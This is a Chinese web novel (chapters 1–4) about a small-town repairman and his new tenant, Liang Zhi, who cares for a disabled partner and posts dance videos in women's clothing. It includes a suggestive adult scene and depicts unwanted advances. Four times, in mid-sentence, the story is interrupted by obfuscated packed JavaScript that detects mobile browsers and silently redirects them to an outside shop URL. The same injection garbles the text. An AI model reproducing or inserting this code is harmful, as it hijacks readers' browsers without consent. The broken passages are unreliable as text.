《漂亮能当饭吃吗》 1. 1 百乐街街口有一个七八平米的铺子,招牌用红漆写着“便民修表铺”,字迹褪了色,旁边还添了行小字“兼修小家电”。 铺子里面刚够摆下一张旧木桌、一把竹椅,再留条侧身走的过道。 没什么正经装饰。墙上钉着块木板,挂着几只用细麻绳串起的旧表,桌角立着个铁皮饼干盒,上面贴着剪下来的报纸画,旁边还有一盆半死不活的仙人掌。 此刻,桌前一个穿白色背心的男人正低着头,手里摆弄着一台老式收音机。 他生得不算传统意义上的周正,眉眼间带着点野气。左眉骨上方有道浅疤,是年少时打架留下的印记。这道疤给他添了几分硬朗,是一副不好惹的凶相。 “柏安哪,最近在忙些啥啊?”蹲在门口的大爷抽着旱烟问。 陆柏安头也没抬,专注着手上的动作,“还能干啥,修东西,吃饭,睡觉。” 拧上最后一颗螺丝,拿起收音机轻轻拍了拍,试了试开关,里头立刻传出清晰的戏曲声。 他把收音机递过去:“叔,好了,接触不良,没大毛病。” 大爷接过收音机,先凑到耳边晃了晃,听见里头咿咿呀呀的唱词,顿时眉开眼笑:“修好了修好了!你这手真是神了!我之前找巷尾那摊修,折腾半天都没折腾好,还是你这儿最好,靠谱!” 夸完又连忙问:“多少钱?” “三块。” 大爷从裤兜里摸出个用塑料袋层层裹着的钱袋,解开三层才露出里头的零钱,一张张捻开数,凑够三张皱巴巴的一块钱递过来。 陆柏安接过来塞进抽屉,大爷又笑着念叨了两句“真是帮大忙了”,才抱着收音机乐颠颠地往巷口走。 铺子又静下来,只剩下墙上挂钟滴答走动的声音。 陆柏安拿起抹布擦了擦桌上的零件,然后又拿起一块碎了玻璃的老怀表,那是今早隔壁花店老板娘送来的,说是她爷爷留下的物件,让他尽量修得好看些。 他正对着阳光看表芯的齿轮,门口忽然传来阵清脆的自行车铃声,接着是个小姑娘的声音:“陆叔叔!我的复读机又卡带啦!” 陆柏安抬头,看见对门文具店的小丫头方桃正踮着脚往铺子里瞅,手里举着个粉色的复读机。 他放下怀表,指了指门口的小板凳:“放这儿吧,一小时后来取。” 话刚说完,又想起什么,改口道:“不对,等会儿没空。明天来取。” 方桃垮下脸:“陆叔叔,我这明早要用来背单词的,你明早能修好吗?” “能。你明天上学前过来取。” “好耶!谢谢陆叔叔!”方桃立刻笑起来,把复读机放在板凳上,跨上小自行车叮铃铃地骑走了。 陆柏安看了眼墙上的挂钟,正琢磨着时间差不多了,手机就响了,屏幕上跳出一个陌生号码。 他接起来,手机里传来一道清润的声音:“喂,是陆老板吗?” 陆柏安“嗯”了一声。 “我已经到楼下了。” “知道了,我马上过来。” 挂了电话,他三两下收拾好桌面上的零件,把工具分门别类塞进铁盒,然后拉下铺子的卷帘门。 他手里两套房,都在这片老城区。一套是爸妈留下来的两居室,就在街尾,他自己住着。另一套是几年前攒钱买的一居室,就在前面那个单元楼里。 爸妈前两年走了,房子留给了他,他就从一居室搬回了老房子。那套一居室空着也是浪费,便简单收拾了下租出去,租金够贴补点家用。 前阵子租客到期搬走了,空了快半个月,前天刚挂上网,很快就有新租客来联系他。 对方昨晚加他了微信,看了他几张随手拍的房子照片,问了月租多少,能不能拎包入住之类的简单问题,他回了个数,对方就说要今天过来看房。 此刻站在单元楼底下,陆柏安看了眼手机,两点五十五分。 刚点了支烟叼在嘴里,就见街角拐过来个人。 那人穿着件简单的t恤,和他差不多高,肩背挺得笔直,但看起来比他清瘦许多。 他的目光不由自主地落在对方脸上,下意识眯了眯眼。眉骨高,鼻梁挺,唇线抿得很直,皮肤是冷调的白,眼睛是淡淡的琥珀色。 漂亮。 这两个字毫无预兆地冒进陆柏安脑子里,他自己都愣了一下。 活了二十多年,形容男人不是说“壮实”就是“精神”,还是头回想用“漂亮”来定义一个人。 他一生出这个想法,就皱紧了眉,心里有点不是滋味。男人嘛,就得有男人样,肩宽背厚,说话声粗气足,那才叫踏实。像眼前这样,皮肤白得跟没晒过太阳似的,看着就弱不禁风。 不过他也就是这么在心里嘀咕两句,没把这些话摆到脸上。毕竟这只是个租客,交了钱住进来,跟他非亲非故的,好不好看、结不结实,跟他有什么关系? 对方显然也认出了他,那人走到他面前站定,声音和电话里一样,清冷冷的:“陆老板?” 陆柏安吸了口烟,朝楼上抬了抬下巴:“上去看?” “嗯。”对方应了声,没多余的话,跟在他身后上了楼。 推开房门,灰尘味涌出来。陆柏安往门框上一靠:“随便看,有问题直接问。” 那人没说话,只是慢慢走进去,目光扫过掉漆的电视柜,停在卧室带霉斑的窗帘上片刻,又转身进了厨房。陆柏安听见水龙头被拧开的声音,接着是滴答滴答的漏水声。 半晌,他从厨房走出来,脸上依旧没什么表情:“月租能少点吗?水龙头和窗帘我自己换。” 陆柏安挑了挑眉,难得遇上不挑三拣四,反倒自己揽活的租客。 他吐了个烟圈:“六百。” “行。”对方答应得很干脆,“今天能签合同吗?” 陆柏安愣了下,这效率比他修表还快。 “我回去拿合同,十分钟。” “好。” 他步子迈得快,十分钟后揣着合同和钥匙回来,推开门时,见那人正站在客厅中央,手里捏着块不从从哪找的布,正弯腰擦电视柜上的灰。 “合同。”陆柏安把几张纸拍在刚擦过的桌面上,“看看没问题就签。” 对方低下头,目光在纸页上快速扫过,没像其他人那样反复盘问条款, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184909|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是在租金和租期处稍作停留。 片刻后,他拿起笔。 陆柏安瞥见签名处写着“梁知”两个字,字迹清瘦有力。 “钥匙。”陆柏安把钥匙放在桌上,“两把,丢了自己配。” 梁知拿起钥匙,把其中一把串进自己的钥匙扣,另一把塞进口袋里。 “租金转你微信?” “嗯。” 一分钟后,陆柏安看着手机弹出的转账提醒,租金加押金,一分不少。 他正想说没事就先走了,话音还没出口,就听梁知开口:“陆老板,明天能不能麻烦你来帮个忙?我东西有些多,一个人可能搬不动。” 陆柏安顿了顿,回头看了他一眼。 梁知站在原地没动,浅琥珀色的眼睛望着他,没什么多余的情绪。 他想起这人签合同干脆利落的样子,又看对方这清瘦的身板,一个人搬东西确实够呛。老破小的楼道窄,转角又多,磕碰着也麻烦。 “行。”陆柏安没多想,随口应了,“几点?” “上午十点可以吗?” “嗯。”他点了点头,没再多说。 转身就要走,只是刚走到门口,就听见身后传来一声轻呼。 他回头,正看见梁知被地毯卷边绊了下,身体猛地往前倾,眼看就要撞上茶几角。 几乎是本能反应,陆柏安跨过去伸手一捞,掌心结结实实地按在了对方后腰上。 入手一片温热,隔着薄薄的T恤,能摸到底下紧实的线条。 陆柏安脑子“嗡”了一下。 还没等他反应过来,怀里的人已经稳住了身形,猛地直起身,下意识往旁边躲了躲。 陆柏安的手空了,掌心还残留着点温热。他抬眼就撞进梁知的目光里,对方没说话,只是好看的眉头皱了皱。 那双浅琥珀色的眼睛,阳光落进去,泛着层通透的金。 陆柏安心里冒出一种怪异的感觉。那双眼没瞪,没恼,甚至没什么明显的情绪,可那微微上挑的眼尾扫过他时,竟像是无声地勾了一下。 “抱歉。”梁知先开了口,移开了视线,弯腰去扯那块卷边的地毯。 陆柏安收回手,别过脸:“走路小心点。” 说完,没再等梁知回应,拉开门大步走了出去。 关上门的瞬间,他才低头看了看自己的手心,喉结无意识地滚了滚。 妈的,刚才那一下…… 好香。 身上喷香水了吗? 陆柏安皱紧眉,刚才那双浅琥珀色的眼睛又浮了上来,湿漉漉的,像含着点水汽。 嘴里的烟燃了半截,一截烟灰簌簌落在手背上,烫得他猛地一哆嗦,一股恶寒顺着后颈爬上来。 一个男的,什么香不香的,眼睛好不好看的,跟他有屁关系? 尤其是对方那种,走路都能被绊倒,还喷香水,典型的小白脸,是他最看不惯的那种,装模作样。 他低声骂了句,把烟摁灭在垃圾桶里,反手就在裤子上使劲蹭手心。 蹭得掌心火辣辣地疼,才把那点黏在皮肤上的触感和浅琥珀色眼睛一并蹭掉。 2. 2 梁知来澜溪县没几天,对附近还不是很熟。他问了一个修鞋摊的大爷,才摸到附近的一家五金店,买了个便宜的水龙头。又进隔壁的布艺店,挑了块浅蓝格子的窗帘布。 回到新租的那间房子,他换下滴水的旧龙头,又踩着凳子把窗帘挂上,灰蒙蒙的窗户顿时亮堂了些。 收拾妥帖,他锁好门,沿着街面找了家生意不错的快餐店,买了六份盒饭。 坐着公交晃了四十多分钟,才到达离百乐街老远的城中村。 城中村的巷子窄得只能容两人并排走,墙皮剥落的居民楼挤在一起。梁知钻进其中一栋,上了三楼。 还没到门口,就听见里面传来男人嘻嘻哈哈的笑,夹杂着酒瓶碰撞的声响。 梁知皱紧了眉,却还是抬手叩了叩门。 “来了来了。” 门“吱呀”一声开了,探出个三十多岁的男人,头发油腻地贴在额上,胡茬青黑一片。 一看到梁知,他那双浑浊的眼睛就黏了上来,嘴角咧开个不怀好意的笑:“哟,梁知回来了。” 梁知抿着唇,下颌线绷得紧紧的,客气道:“大哥。” 他侧身进门,把塑料袋往满是烟蒂的桌上一放,声音没什么起伏:“今晚不用做饭了,我在路上买了。” 屋里乌烟瘴气的,几个男人围着桌子打牌,见他进来,眼神都直勾勾地黏在他身上。 梁知没看他们,径直从从塑料袋里拿出四份盒饭,转身走向最里间。敲了敲门,一个老妇扶着门框探出头。 “妈。”梁知把两份盒饭递过去。 李月娥接过盒饭,声音哑哑的:“房子看得怎么样了?” “挺好的,已经签了合同,明天就能搬。”梁知的声音放轻了些。 李月娥点点头,没再多问,接过盒饭就轻轻带上了门,门后传来一阵细碎的咳嗽声。 梁知拿着剩下的两份盒饭,推开旁边那扇更窄的门。这房间小得像个储物间,堆着半墙旧纸箱。 陈信靠在轮椅上,背对着门口,听见动静才慢慢转过来。 他脸色白得近乎透明,嘴唇没什么血色,看到梁知,嘴角艰难地扯出个浅淡的笑:“知知。” 梁知走过去,例行惯例地问他今天有没有不舒服。 陈信摇摇头,喉结动了动:“房子……定了?” “嗯,明天搬。”梁知应着,打开其中一份盒饭。 这是六份里唯一不同的,浓稠的白粥配细腻的土豆泥。 他舀起一勺粥,递到陈信嘴边。 陈信吞咽得很困难,每一口都要费很大劲。 梁知已经习惯了他这个速度,一勺接一勺喂着,等喂完最后一口土豆泥,窗外的天色已经快暗了。 他自己那份米饭早就凉透了,菜也凝了层油。他没在意,几口扒完,吃完后默默收拾好餐盒。 收拾好后他从枕头底下摸出个白色药瓶,倒出两粒白药片,就着温水喂陈信吞下。然后弯腰,手指按上陈信的膝盖。 按摩的流程早已刻进骨子里。梁知半蹲在轮椅旁,掌心贴着陈信的腿,慢慢按揉。 那里的肌肉早已失去活力,摸起来只有一片僵硬,他握住陈信的脚踝,极缓地屈腿、伸展。 按到某个点时,陈信会难受地轻哼,他便稍停片刻,换个角度继续。 结束时,他的额角沁出一层层薄汗。他没擦,只是直起身,背对着陈信脱掉上衣。 布料摩擦的窸窣声在小屋里格外清晰,他能感觉到身后那道目光,从肩胛骨滑到腰线,再落到膝盖,格外炙热。 他没回头,手指麻利地脱下裤子,只剩条贴身的旧内裤,然后从床底的尼龙口袋里面翻出一条黑色短裙穿上。 梁知的个子在男性里算高的,但骨架匀称,穿起裙子也很协调。滑溜的布料贴着皮肤裹住腰腹,肩带斜斜垮在肩头,稍微一动,就勒得锁骨处泛起两道浅浅的红痕。 接着是顶长卷发假发,假发的触感粗糙得像劣质的塑料,深棕色的发丝垂下来,遮住了他大半侧脸。 最后是一副皮质腿环。他弯下腰,将腿环扣在大腿根,金属搭扣“咔嗒”合上的瞬间,轮椅那边传来一声极轻的抽气声。 他拿出手机,放在小屋里唯一一张桌子上,桌子矮得离谱,屏幕只能斜斜地对着自己,于是试着把手机往桌角挪了挪。 “角度……不好。”陈信忽然开口,声音带着点沙哑。 梁知闻言调整了下姿势,让膝盖微微分开些,腿环恰好露在镜头能扫到的位置。最后他拿起桌上的黑色口罩戴上,只露出一双浅琥珀色的眼睛。 点开熟悉的短视频软件,他选了首最近流行的曲子,按下拍摄按钮。 音乐响起的瞬间,他动了起来,身体随着节奏轻晃,裙摆扫过膝盖,手臂抬起又落下,动作带着刚学的生疏,偶尔会慢半拍。 第一遍跳完,他皱眉看了看回放,删掉重录。第二遍还是有些僵硬,直到第三遍,身体才渐渐跟上旋律。 他选了最后一遍,简单剪辑掉开头的停顿,直接发到账号上。 他的账号粉丝不多,只有五百三十七个,往下翻,还有十几个视频,每个的点赞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184910|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数都在五十上下浮动。毕竟才做了不到一个月,不露脸,跳得也算不上出色。 见他发完了视频,陈信在他身后低低地叫了他一声:“知知。” 梁知回头,撞进陈信那双亮得吓人的眼睛里。那里面翻涌着不加掩饰的欲望,黏腻又灼热。 梁知不动声色地蹙了下眉。 这人分明连手指都快抬不起来,浑身的力气都被渐冻症抽干了,脑子里却还总惦记着那档子事。 他一步步朝轮椅走过去,站在陈信面前,居高临下地盯着对方,口罩还没摘,只露出一双没什么温度的眼睛。 陈信的目光在他身上扫了一圈,从吊带裙的肩带滑到腿环的金属扣,喉结滚了滚,又低低地唤了声:“知知。” 梁知没说话,只是抬手,慢慢摘下了脸上的口罩。 “过来点。”陈信的声音沙哑。 梁知往前挪了半步,膝盖几乎碰到陈信的腿。 “裙子……好看。”陈信盯着他锁骨处被肩带勒出的红痕,呼吸急促,“解开。” 梁知没动。 “知知,解开给我看……求你。”陈信的喉结疯狂滚动。 梁知终于有了动作,他抬手一扯,肩带滑落,露出一片白皙的锁骨。 “过来……靠近点。”陈信的声音抖得不成样子。 梁知俯下身,发丝垂落,扫过陈信的脸颊。 陈信猛地咬住他的锁骨,明明刚才吃饭时吞咽都很困难,现在却咬得很紧。 梁知的皮肤很白,被这样一咬,立刻泛起一片红痕。 轮椅的扶手被陈信为数不多能动的几根手指抓得咯咯响,他的身体在痉挛,眼神却亮得吓人。 “摸我……”他松开口喘着气。 梁知顿了一下,手指落在他胸口,隔着单薄的t恤,能摸到肋骨突出的形状。 他按得用力,陈信发出痛又快活的闷哼。 “再重点……”陈信哀求,“别停……” 他的喘息越来越急,嘴里翻来覆去只有“知知”两个字。 梁知眼皮都没抬一下,任由那声音钻进耳朵,又从另一边漏出去,像没听见似的。 直到片刻后,陈信的喘息弱下去,终于安静了,梁知这才直起身。 他捡起地上的裙子,手指捏着裙摆抖了抖,叠得方方正正,塞进床底的尼龙口袋里。 假发被扯下来时,带起几缕汗湿的真发,他随手扔在旁边。 口罩被忘在了一旁,沾了点陈信的口水。他皱了皱眉,趁着对方没回神,抓起来扔进墙角的垃圾桶。 3. 3 第二天一早,天刚蒙蒙亮,陆柏安就支开了铺子的卷帘门,开始帮方桃修那台录音机。 螺丝刀刚拧开两颗螺丝,门口就传来熟悉的脚步声,他眼皮跳了跳,果然没猜错。 “柏安啊。”他们这条街的金牌红娘拎着个菜篮走进来,“姐又来啦。” 陆柏安头也没抬,手里的螺丝刀转得飞快,“张姐。” “都是邻里街坊的,姐也是看着你长大的,能不关心你吗?”张姐往他身边凑了凑,语气热络,“你看你父母走得早,一个人守着这铺子多冷清,你又这么大了,不找个伴怎么行?杏花街那个裁缝铺的姑娘,我跟你说,人长得俊,手还巧,配你正好……” 陆柏安听得太阳穴突突跳,手里的螺丝刀“咔嗒”一声拧歪了槽。 他耐着性子打断:“张姐,我才二十八。” “二十八还不大?”红娘瞪圆了眼,“隔壁老王家的小子,二十五孩子都抱俩了!” 陆柏安索性闭了嘴,低头继续跟录音机的较劲,权当耳旁的念叨是耳旁风。这两天张姐跟上班似的准时报到,若不是看在从小看着他长大的情分上,他早把人请出去了。 好在没有念叨多久,方桃就骑着她那小自行车来了,“陆叔叔,我的录音机修好了吗?” “马上。” 说着陆柏安用镊子夹出卡在里面的线头,“再等两分钟。” 张姐见来了人,暂时收了话头,打量着方桃笑:“这不是桃丫头吗?长这么高了。” 方桃眨眨眼,瞥见陆柏安手里的录音机,没接话茬,径直凑到桌前:“是卡住了吗?昨天听着听着就没声了。” 陆柏安“嗯”了一声,指尖灵活地把线头接好,按下播放键。 磁带转动的沙沙声响起,他把录音机递给方桃,“好了。” “张姐,”递到方桃手里,他拿起擦布擦着螺丝刀,语气平淡,“您这是要去买菜吧?再不去就菜市场就关门了。” 张姐愣了愣,这才想起正事,只好摆摆手:“行吧,我先走了,柏安你可别忘了姐的话!” 铺子终于安静下来,方桃抱着录音机,忽然笑了:“陆叔叔,张婶又来给你说亲啦?” 陆柏安瞥她一眼,把工具收进铁盒,“小孩子家别管大人的事。” 方桃吐了吐舌头,把录音机放进书包里,骑上自行车上学去了。 陆柏安走出铺子拉下卷帘门,刚开始锁门,就见隔壁快餐店的帘子被猛地掀开,穿着个围裙的林小满风风火火地冲了出来。 “老陆!” 陆柏安一边转着钥匙锁门,一边抬了抬眼皮:“干嘛?” “帮个忙!”林小满几步蹿过来,把手机往他手里一塞,“有空没?给我拍个团购视频。” “大清早的拍什么视频?” “别提了,”林小满往店里瞅了眼,急得抓了抓头发,“俩阿姨全请假了,店里就我一人转,可视频不能断啊,断了流量就掉。” 陆柏安没再多说,点开相机对准他。 林小满立刻站直了,对着镜头呲个大牙,嗓门响亮:“还有人不知道?小满自助快餐新上团购啦!十五块钱,二十个菜随便造……” 录完视频,陆柏安按下停止键,把手机丢还给他,“拍这玩意儿真有用?” “蚊子腿也是肉啊!”林小满点开视频看了眼,满意地揣好手机,“你这就回去了?” “嗯。” “等会儿过来吃饭啊。” “看情况。” “你能有什么情况?” “今天可能还真没空。” “干嘛去?” “帮新租客搬家。” “哟,房子租出去了?”林小满凑过来撞了下他胳膊,“房东亲自上阵?新租客是美女吧?” 陆柏安脑海里浮现出梁知那张漂亮的脸,皱了皱眉:“不是。” “哦。”林小满一听不是美女,顿时没了八卦的兴致,挥挥手,“行吧行吧,那你赶紧走,别耽误了人家搬家。” 陆柏安回去补了个回笼觉,醒来时窗外的日头已经升高了,看了眼时间,正好赶上和梁知约好的点。 他懒得换衣服,套上件洗得发白的背心,蹬了条宽松短裤和人字拖就出了门。 两个房子离得近,走路也就五分钟的事。 他刚拐到楼下,就看见单元门口停着辆蓝色大货车,车斗里堆着几个缠满胶带的纸箱。 梁知正站在货车旁打电话,和昨天一样,穿着件简单的白T恤。 他听见脚步声转过头,对陆柏安点点头:“陆老板,麻烦了。” “没事。”陆柏安瞥了眼车斗里的东西,“就这些?” “嗯。” 陆柏安弯腰抱了个印着“厨房用具”的纸箱,正抬脚要往楼里走,眼角余光却瞥见不远处的树荫下还站着几个人。 一个老妇正在擦汗,一个老头蹲在旁边整理布包,轮椅上坐着一个年轻男人,瘦得有些脱相,脸色透着久病的苍白,正安静地望着这边。 他脚步一顿,抱着纸箱转头看梁知:“你家人?” 梁知顺着他的目光看过去,轻轻“嗯”了一声。 “你们四个人一起住?”陆柏安的视线在四人身上打了个转。 梁知的指尖蜷缩了一下,没直接回答,是默认了。 陆柏安多嘴了句: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184911|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那房子就一室一厅,你们四个人住得下?” “……挤一挤就好。” 陆柏安闻言没再追问,毕竟是人家自己的事。合同上也没规定只能住一个人,多说无益。 只是四个人里,两个老的一个病的,就梁知一个劳动力,怪不得要找他帮忙。他心里这么想着,没说什么,抱着纸箱往楼道走。 梁知说东西多,其实也还好。两人一起搬,你一趟我一趟,统共花了没一会儿就把东西一一搬上了三楼。 只是七月的天实在太热,哪怕没搬几趟,汗还是一直往下淌。 陆柏安把最后一个纸箱往墙角一放,抬手抹了把脸,退到门口透气,风从楼道窗缝里钻进来,稍微凉快了点。 梁知递来一瓶冰水。 陆柏安接过水,眼神随意一瞥,拧瓶盖的动作顿了半秒。 刚才搬最后一个箱子时,梁知过于用力,领口被扯得松了些,此刻正敞着小半片皮肤。 阳光从楼道钻进来,恰好落在他的锁骨处。靠近肩头的地方有个浅浅的牙印,在细腻的皮肤上显出暧昧的轮廓。 而锁骨窝偏下一点,嵌着颗极小的红痣,被薄汗濡湿的皮肤衬着,像浸了水的朱砂。 那画面太突然,陆柏安的目光像被粘住似的,喉结不受控制地滚了滚。 他脑子里莫名生出一个念头,这人有女朋友? 也是,这小白脸长得一看就是女生会喜欢的那种类型,有对象不奇怪。 可那牙印的位置太暧昧,偏偏又缀着颗红痣,怎么看都觉得……有点扎眼。 “陆老板。”梁知突然出声,打断了他的思绪。 陆柏安猛地回神,像被烫到似的移开视线,仰头灌了大半瓶水,冰凉的液体顺着喉咙滑下去。 他把空瓶捏扁,扔进门口的垃圾袋,“东西搬完了,我先走了。” “等等。”梁知追上来,手里攥着几张纸币,“这是搬家的辛苦费……” “不用。”陆柏安摆摆手,走到拐角时却又鬼使神差地顿住脚,背对着梁知,“你……” 梁知站在原地看他宽阔的背影,眼里带着点茫然:“嗯?” 陆柏安咬了咬牙,没回头,硬邦邦地丢下一句:“穿好衣服。” 说完,他三步并作两步冲下楼梯。 梁知站在原地,低头看了看自己半敞的领口,他没什么表情地抬手拉了拉,恰好把牙印和红痣都遮得严严实实。 楼下,陆柏安靠在单元门的墙上,掏出烟盒抖了根烟出来,打火机响了好几下才点着。 尼古丁顺着肺管往下沉,脑子里反复闪过那枚牙印和红痣,他皱了皱眉,骂了句自己莫名其妙。 4. 4 房子很小,只有一室一厅。来之前,梁知就和陈信、还有陈信的父母三人商量妥当了。 陈信是病人,需要安静舒适的养病环境,所以让他住唯一的卧室。梁知要贴身照顾,自然也陪着住房间里。 老两口便在客厅里搭了个简易的住处,一张折叠床铺着从老家带来的厚褥子,旁边堆着几个装衣物的纸箱,局促却也勉强算个临时的家。 “知知,你知道这附近哪有菜市场吗?我去买点菜回来。”李月娥一边整理着纸箱,一边抬头问。 梁知正在用抹布擦沙发上的灰,闻言直起身,“妈,我去吧,您歇着。” 李月娥摇摇头:“我去就行,你先收拾着。” 梁知便也没有坚持。他昨天去买水龙头和窗帘时刚好有路过过菜市场,便凭着记忆给李月娥指了路。 李月娥走了没多久,一直站在客厅角落没出声的陈福安忽然走了过来,开口道:“知知,我来帮你吧。” “不用了爸,您去坐着吧,没多少活儿了。” 还没等陈福安再说什么,门口突然传来几声敲门声。梁知以为是李月娥忘了带什么东西折返回来,转身走过去开门。 看清门外的人时,他微微皱了皱眉。 “大哥。” 陈讯还穿着昨天那身衣服,嘴里叼着根烟,吊儿郎当地倚在门框上。 “哟,开门挺及时啊。” 他径直走进屋,眼神扫过逼仄的客厅,“新家看着不错嘛,就是地方这么大点,你们四个怎么住?” “挤挤就行了,没事。”梁知抿了抿唇,不想跟他多周旋,直接问,“大哥你来是有什么事吗?” 陈讯啧了一声,从身后拎过一个塑料袋晃了晃:“陈信的药落下了没带走,过来送一趟。”说着,他随手就把袋子朝陈福安扔了过去。 陈福安手忙脚乱地去接,却没接住,塑料袋摔在地上,里面的药瓶滚得满地都是。 陈讯立刻皱起眉,语气不耐烦:“老头子你行不行?连个袋子都接不住。” 陈福安连忙弯下腰,哆哆嗦嗦地去捡药瓶。 梁知瞥了一眼,没说话,转身继续干自己的活。陈讯却几步凑了过来,距离近得说话的热气几乎要喷到他耳根上。 “梁知啊,”他刻意放低了声音,带着点假惺惺的恳切,“不是大哥非要赶你们走,实在是我们家也不大。你们四个人一来,里里外外都占满了,你嫂子天天跟我念叨,我这日子也不好过啊。” 梁知点头:“我理解的,大哥你和嫂子能收留我们几天,我已经很感激了。” “这说的哪话,”陈迅语气热络,“梁知,虽然你不是我亲弟弟,但咱们也是从小一起长大的,这么多年的情分,可不是白说的。说实话,你在我心里,有时候比陈信这个亲弟弟还亲呢。” 他叹着气,眼神黏在梁知脸上打转,“大哥是真不舍得你受这委屈,更不舍得你就这么搬走……” 话音还没落地,他的手就伸了过来,像是要拍梁知的胳膊,指尖却不偏不倚擦过梁知的手背。 梁知猛地一甩,后退半步拉开距离,“大哥,请自重。” 陈讯脸上的笑僵了僵,随即又换上副嘻嘻哈哈的样子,“你看你,咋还急了?大哥跟你闹着玩呢。” 梁知没再看他,转身走到陈福安身边,帮着把捡好的药瓶放进塑料袋。 “药送到了,要是没别的事,大哥就请回吧。我们还要收拾东西。” 陈迅盯着梁知的背影,看他蹲下身帮陈福安收拾东西,浅色衣料贴着皮肤,勾勒出后腰微微内陷的弧度,喉结不自觉地动了动。 他舔了舔后槽牙,收回那点不怀好意的目光,扯着嗓子道:“行,那我就先走了。” 说着又转头跟陈福安打了声招呼,语气里带着惯有的不耐烦:“老头子,我先走了。” 陈福安连忙小声应了句“诶”,头埋低了。对于这个从小就霸道的大儿子,他心里总是有点怵。 门“砰”地一声被带上,震得窗帘晃了晃。梁知直起身,捡起地上的药袋,转身推开那扇唯一的卧室门。 “知知,是大哥来了吗?”陈信半靠在床头,脸色苍白,“我好像听到他的声音了。” “是。”梁知应着,走到床边将药放在床头柜上。 “他来做什么?” “给你送药,昨天收拾东西时忘拿了。” “哦。”陈信应了一声,目光落在梁知身上没移开,忽然看着他领口问,“知知,这是什么?” 梁知顺着他的目光低头,看见衣领上沾着一点灰黑色的碎屑,是陈迅刚才凑近时,从他嘴里叼着的烟上掉下来的烟灰。他面无表情地抬手,用指尖轻轻掸掉了。 “大哥……”陈信轻声问,“还做了别的什么吗?” 梁知顿了顿,抬眼看向他,语气没什么起伏:“他摸了我一下。” 陈信瞬间急了:“哪里?” “手。” 陈信松了口气,悬着的心刚往下落了落,抬眼瞧见梁知脸上没什么表情,他又瞬间慌了神,连忙解释:“我不是那个意思,我不是觉得手碰一下就没关系,我是……我是说大哥他那人你知道的,向来没个正行,手脚不干净惯了。知知,你别往心里去,好不好?” 别在意,别往心里去,他就是这样的人。 这些话梁知听得耳朵都快起了茧子。他甚至懒得去分辨陈信这话里有几分真心,几分是习惯性的和稀泥。 梁知没应声,只是垂着眼,默默将药瓶一瓶瓶放到床头柜的抽屉里,放完最后一样,他转身就往外走。 陈信在后面叫了两声“知知”,梁知像是没听见似的,脚步没停。 很快到了晚上。 搬入新家的第一天,梁知想试试这个房间在镜头里会是什么样子。 房间角落里有个衣柜,白天他刚整理过。打开柜门,左边是陈信的衣服,右边是他的。衣服最底下压着条黑色的裙子,是他昨晚穿过的。今天他没选那条,而是从里面翻出了另一条,一条红色的蕾丝吊带裙。 他站起身,把红裙换上。裙身贴合着身形,勾勒出柔和的曲线。明艳的红色衬得他本就白皙的皮肤愈发透亮。领口处系着两根细细的带子,他松松打了个结。 穿好裙子,他又弯腰穿上一双黑丝腿袜,薄透的料子紧紧裹着纤细的腿,与红裙形成鲜明对比。 做好这一切,他盘腿坐在床上,打开了自己常发视频的软件后台。 昨天发布的那条跳舞视频截止目前有五十个点赞,其中有四个粉丝打赏了礼物,加起来是五块八的收入。 他指尖滑动,点开评论区,里面有三条评论,他耐着性子一条条回复。 【看到我请叫我滚去学习:跳舞笨笨的,好可爱。】 【zz:谢谢,我会继续努力的。】 【我爱吃香菜:想看zz跳快乐摇。】 【zz:好。】 【睡不饱:翻了一下主播的主页,为什么就两条裙子换着穿呀,想看主播穿更多漂亮的小裙子。】 【zz:因为只有两条,会努力攒钱买更多裙子。】 回复完最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184912|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条,他点开拍摄键。 镜头里的房间不算大,但白墙干净,家具摆放得整齐,比前几天住的那个堆满杂物的小房间和老家那间四面漏风的毛坯房都要好上太多。 他拉过一把椅子坐在窗边,低头调整着手机角度。镜头里,黑丝裹着的脚踝轻轻搭在另一条腿的膝盖上。 他就维持着这个姿势跳了段手势舞,动作磕磕绊绊的。反复跳了好几遍,才挑了条相对流畅的发了出去。 